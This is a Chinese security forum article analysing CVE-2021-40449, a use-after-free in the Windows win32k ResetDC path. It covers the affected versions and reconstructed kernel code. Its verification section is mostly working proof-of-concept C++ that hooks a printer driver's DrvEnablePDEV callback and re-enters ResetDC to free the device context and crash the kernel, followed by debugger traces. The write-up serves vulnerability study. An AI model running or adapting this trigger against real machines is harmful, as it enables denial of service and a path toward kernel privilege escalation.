CVE-2021-40449(UAF)学习
本文为看雪论坛优秀文章
看雪论坛作者ID:Jimpp
1
漏洞描述
Windows Server, version 2004/20H2(Server Core Installation)
Windows 10 Version 1607/1809/1909/2004/20H2/21H1
Windows 7 for 32/64-bit Systems Service Pack 1
Windows Server 2008/2012/2016/2019/2022
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows 8.1 for 32/64-bit systems
Windows RT 8.1
2
漏洞分析
if ( v11 )
{
v11 = GreResetDCInternal(a1, v8, &v13, (__int64)v9, a5);
if ( v11 )
{
if ( (unsigned __int64)a3 >= MmUserProbeAddress ) // MmUserProbeAddress为全局变量,相当于用户空间与内核空间的分界线
a3 = (_DWORD *)MmUserProbeAddress;
*a3 = v13;
}
}
dcobj.hxx#L97(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L97)、
dcobj.hxx#L236(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L236)、
dcobj.hxx#L1282(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1282)、
dcobj.hxx#L1686(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1686)。
另外HDC犹如其名,handle to device context,图形设备信息对象的句柄。
class DCLEVEL
{
public:
...
HDC hdcSave;
...
}
class DC : public OBJECT
{
public:
DHPDEV dhpdev_;
PDEV *ppdev_;
...
HDC hdcNext_; // HDC链表指针
HDC hdcPrev_;
...
DCLEVEL dclevel
...
};
typedef DC *PDC;
class XDCOBJ /* dco */
{
public:
PDC pdc;
...
};
typedef XDCOBJ *PXDCOBJ;
class DCOBJ : public XDCOBJ /* mdo */
{
public:
DCOBJ() { pdc = (PDC) NULL; }
DCOBJ(HDC hdc) { vLock(hdc); }
~DCOBJ() { vUnlockNoNullSet(); }
};
typedef DCOBJ *PDCOBJ;
__int64 __fastcall GreResetDCInternal(HDC hdc, __int64 a2, int *a3, __int64 a4, __int64 a5)
{
...
DCOBJ::DCOBJ(&dcobj, hdc); // 利用hdc对象来创建DCOBJ对象
pDC = dcobj.pDC;
if ( !dcobj.pDC )
{
EngSetLastError(6u); // 无效句柄
v13 = dcobj.pDC;
LABEL_38:
v16 = v25;
goto LABEL_19;
}
...
v11 = *((_QWORD *)pDC + 6); // 获取DC的成员变量
...
if ( XDCOBJ::bCleanDC((XDCOBJ *)&dcobj, 0) )
{
if ( *(_DWORD *)(v11 + 8) == 1 )
{
// 创建新的HDC对象,其用户态回调函数DrvEnablePDEV可能破坏dcobj对象和DC对象
newHdc = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(v11 + 0xA00), v25, a4, a5, 0);
v8 = newHdc;
if ( newHdc )
{
*(_QWORD *)(v11 + 0xA00) = 0i64;
DCOBJ::DCOBJ(&new_dcobj, newHdc);
v18 = new_dcobj.pDC;
if ( new_dcobj.pDC )
{
if ( v14 > 0 )
{
*((_DWORD *)new_dcobj.pDC + 0x1B) = *((_DWORD *)new_dcobj.pDC + 0x1A);
v18 = new_dcobj.pDC;
}
*((_QWORD *)v18 + 0x101) = *((_QWORD *)dcobj.pDC + 0x101);
*((_QWORD *)dcobj.pDC + 0x101) = 0i64;
*((_QWORD *)new_dcobj.pDC + 0x102) = *((_QWORD *)dcobj.pDC + 0x102);
*((_QWORD *)dcobj.pDC + 0x102) = 0i64;
// 从旧DC对象中获取函数指针,此时对象可能已经遭到破坏或者替换,当内核访问无效的地址时,将会触发BSOD
v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);
if ( v19 )
// 两个参数可受用户控制
v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));
...
}
}
...
}
BOOL GreResetDCInternal(
HDC hdc,
DEVMODEW *pdmw,
BOOL *pbBanding,
DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{
// [...]
HDC hdcNew;
{
// Create DCOBJ from HDC
DCOBJ dco(hdc);
if (!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Create DEVOBJ from `dco`
PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC
// VULN: Can result in a usermode callback that destroys old DC, which
// invalidates `dco` and `po`
hdcNew = hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if (hdcNew)
{
po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList;
dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList;
dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know
// VULN: Method is taken from old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL)
{
(*rfn)(po->dhpdev, poNew->dhpdev);
}
// [...]
}
}
}
}
// Destroy old DC
// [...]
},
3
漏洞验证
// get the size of PRINTER_INFO_4A structure array
DWORD pcbNeeded = 0, pcReturned = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcReturned);
if (pcbNeeded <= 0)
{
cout << "[-] Failed To Find Any Available Printers" << endl;
return FALSE;
}
PRINTER_INFO_4A* pPrinterInfo = NULL;
pPrinterInfo = static_cast<PRINTER_INFO_4A*>(malloc(pcbNeeded));
if (!pPrinterInfo)
{
cout << "[-] Failed To Allocate Buffer For PRINTER_INFO Array" << endl;
return FALSE;
}
// store all PRINTER_INFO_4A structures to heap
BOOL retStatus = FALSE;
retStatus = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterInfo, pcbNeeded, &pcbNeeded, &pcReturned);
if (!retStatus)
{
cout << "[-] Failed To Store All PRINTER_INFO Structures" << endl;
return FALSE;
}
HANDLE hPrinter = 0;
DRIVER_INFO_2A* pDriverInfo = NULL;
// get the printer driver's name
PRINTER_INFO_4A* pPrinterInfoTemp = &pPrinterInfo[i];
if (!pPrinterInfoTemp->pPrinterName)
{
cout << "[-] Failed To Print The Printer Name" << endl;
}
cout << "[+] The Printer Name: " << pPrinterInfoTemp->pPrinterName << endl;
expVal::pPrinterName = pPrinterInfoTemp->pPrinterName;
retStatus = OpenPrinterA(pPrinterInfoTemp->pPrinterName, &hPrinter, NULL);
if (!retStatus)
{
cout << "[-] Failed To Open The Printer: " << pPrinterInfoTemp->pPrinterName << endl;
continue;
}
// get the printer driver's handle
pcbNeeded = 0;
GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
pDriverInfo = static_cast<DRIVER_INFO_2A*>(malloc(pcbNeeded));
if (!pDriverInfo)
{
cout << "[-] Failed To Allocate Buffer for DRIVER_INFO_2A" << endl;
return FALSE;
}
retStatus = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)pDriverInfo, pcbNeeded, &pcbNeeded);
if (!retStatus)
{
cout << "[-] Failed To Get Printer Driver" << endl;
continue;
}
cout << "[+] The Driver Dll: " << pDriverInfo->pDriverPath << endl;
// load the printer driver to memory
HMODULE hModule = LoadLibraryExA(pDriverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (!hModule)
{
cout << "[-] Failed To Load The " << pDriverInfo->pDriverPath << "To Memory" << endl;
continue;
}
// get the function pointer
pDrvEnableDriver DrvEnableDriver = NULL;
pDrvDisableDriver DrvDisableDriver = NULL;
DrvEnableDriver = (pDrvEnableDriver)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (pDrvDisableDriver)GetProcAddress(hModule, "DrvDisableDriver");
if (!DrvDisableDriver || !DrvEnableDriver)
{
cout << "[-] Failed To Get The DrvEnableDriver And DrvDisableDriver's Address" << endl;
continue;
}
// enable the printer driver
DRVENABLEDATA drvEnableData{ 0 };
retStatus = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (!retStatus)
{
cout << "[-] Failed To Enable The Printer Driver" << endl;
continue;
}
else
{
cout << "[+] Enable The Printer Driver" << endl;
}
DWORD lpflOldProtect = 0;
if (!drvEnableData.pdrvfn)
{
cout << "[-] Failed To Find The Callback Table Entry" << endl;
continue;
}
retStatus = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), PAGE_READWRITE, &lpflOldProtect);
if (!retStatus)
{
cout << "[-] Failed To Unprotect The Callback Table Entry" << endl;
continue;
}
// find the specific callback entry
for (DWORD j = 0; j < drvEnableData.c; ++j)
{
if(expVal::callbackHook.iFunc == drvEnableData.pdrvfn[j].iFunc)
{
expVal::originCallback = drvEnableData.pdrvfn[j].pfn;
cout << "[+] The Origin Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl;
drvEnableData.pdrvfn[j].pfn = expVal::callbackHook.pfn;
cout << "[+] The Hook Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl;
cout << "[+] Hook The Callback Entry DrvEnablePDEV Successfully" << endl;
break;
}
}
DHPDEV CallbackHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat,
HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps,
ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev,
LPWSTR pwszDeviceName, HANDLE hDriver)
{
if (!expVal::hdc)
{
cout << "[-] Global Hdc Is Invalid" << endl;
}
cout << "[+] The " << expVal::count++ << "th time to call DrvEnablePDEV" << endl;
DHPDEV ret = ((pDrvEnablePDEV)expVal::originCallback)(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (expVal::triggerFlag)
{
expVal::triggerFlag = FALSE;
// 触发漏洞的核心是第二次在回调函数里再次调用ResetDC
HDC tempHdc = ResetDC(expVal::hdc, NULL);
cout << "[+] Returned From Second ResetDC" << endl;
for (int i = 1; i < 16; i++)
{
Sleep(1000);
printf("[+] Counting down...: %d\n", 16 - i);
}
Sleep(1000);
}
return ret;
}
int main()
{
BOOL retStatus = FALSE;
retStatus = HookUsermodeCallbackEntry();
if (!retStatus)
{
cout << "[-] Failed To Hook Callback" << endl;
return 0;
}
expVal::hdc = CreateDCA(NULL, expVal::pPrinterName, NULL, NULL);
if (!expVal::hdc)
{
cout << "[-] Failed To Create DC" << endl;
return 0;
}
cout << "[+] CallbackHook Start" << endl;
ResetDC(expVal::hdc, NULL);
cout << "[+] CallbackHook Finish" << endl;
cout << "[+] Time to BSOD" << endl;
return 0;
}
# Child-SP RetAddr Call Site
00 ffffb707`86be9938 fffff53a`bdd39ff2 win32kbase!hdcOpenDCW
01 ffffb707`86be9940 fffff53a`bdd39e66 win32kfull!GreResetDCInternal+0x11a
02 ffffb707`86be9a10 fffff801`0be74285 win32kfull!NtGdiResetDC+0xd6
03 ffffb707`86be9a90 00007ffe`8c636f04 nt!KiSystemServiceCopyEnd+0x25
04 00000096`578ff5f8 00007ffe`8cf497bf win32u!NtGdiResetDC+0x14
05 00000096`578ff600 00007ffe`8e40dc71 gdi32full!ResetDCWInternal+0x16b
06 00000096`578ff700 00007ff7`134b1573 GDI32!ResetDCW+0x31
07 00000096`578ff730 00000269`632d9060 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]
08 00000096`578ff738 00000000`00000000 0x00000269`632d9060
# Child-SP RetAddr Call Site
00 00000022`a28fedf8 00007ff6`e0ec1096 KERNELBASE!wil::details::DebugBreak+0x2
01 00000022`a28fee00 00000166`f03e7dba CallbackHell!hook_DrvEnablePDEV+0x26 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 34]
02 00000022`a28fee08 00007ffd`cc252d0b 0x00000166`f03e7dba
03 00000022`a28fee10 00007ffd`cc252ac4 ucrtbase!__crt_state_management::leave_os_call+0x4b
04 00000022`a28fee40 00007ffd`ccac5650 ucrtbase!__crt_state_management::wrapped_invoke<int (__cdecl*)(char const * __ptr64,char const * __ptr64),char const * __ptr64,char const * __ptr64,int>+0x34
05 00000022`a28fee70 00007ffd`cd4d99fa gdi32full!GdiPrinterThunk+0x6d0
06 00000022`a28fef40 00007ffd`cfbb22c4 USER32!__ClientPrinterThunk+0x3a
07 00000022`a28ff7c0 00007ffd`cbc66f04 ntdll!KiUserCallbackDispatcherContinue
08 00000022`a28ff8c8 00007ffd`ccac97bf win32u!NtGdiResetDC+0x14
09 00000022`a28ff8d0 00007ffd`cd65dc71 gdi32full!ResetDCWInternal+0x16b
0a 00000022`a28ff9d0 00007ff6`e0ec1573 GDI32!ResetDCW+0x31
0b 00000022`a28ffa00 00000166`f03d83b0 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]
win32kfull!GreResetDCInternal+0x1a0:
ffffab8d`4253a078 488b4df7 mov rcx,qword ptr [rbp-9]
ffffab8d`4253a07c 488b5130 mov rdx,qword ptr [rcx+30h]
ffffab8d`4253a080 488b8b08070000 mov rcx,qword ptr [rbx+708h]
ffffab8d`4253a087 488b9208070000 mov rdx,qword ptr [rdx+708h]
ffffab8d`4253a08e ff15fcdf2000 call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffffab8d`42748090)]
0: kd> u rip
win32kfull!guard_dispatch_icall_nop:
ffffab8d`42542a10 ffe0 jmp rax
ffffab8d`42542a12 cc int 3
ffffab8d`42542a13 cc int 3
ffffab8d`42542a14 cc int 3
ffffab8d`42542a15 cc int 3
ffffab8d`42542a16 cc int 3
ffffab8d`42542a17 cc int 3
ffffab8d`42542a18 cc int 3
漏洞利用
参考链接:
https://mp.weixin.qq.com/s/z0Hv06YRlmQVSINTd2Hh6w
https://github.com/ollypwn/CallbackHell
看雪ID:Jimpp
https://bbs.pediy.com/user-home-924781.htm
# 往期推荐
5.通过ObRegisterCallbacks学习对象监控与反对象监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!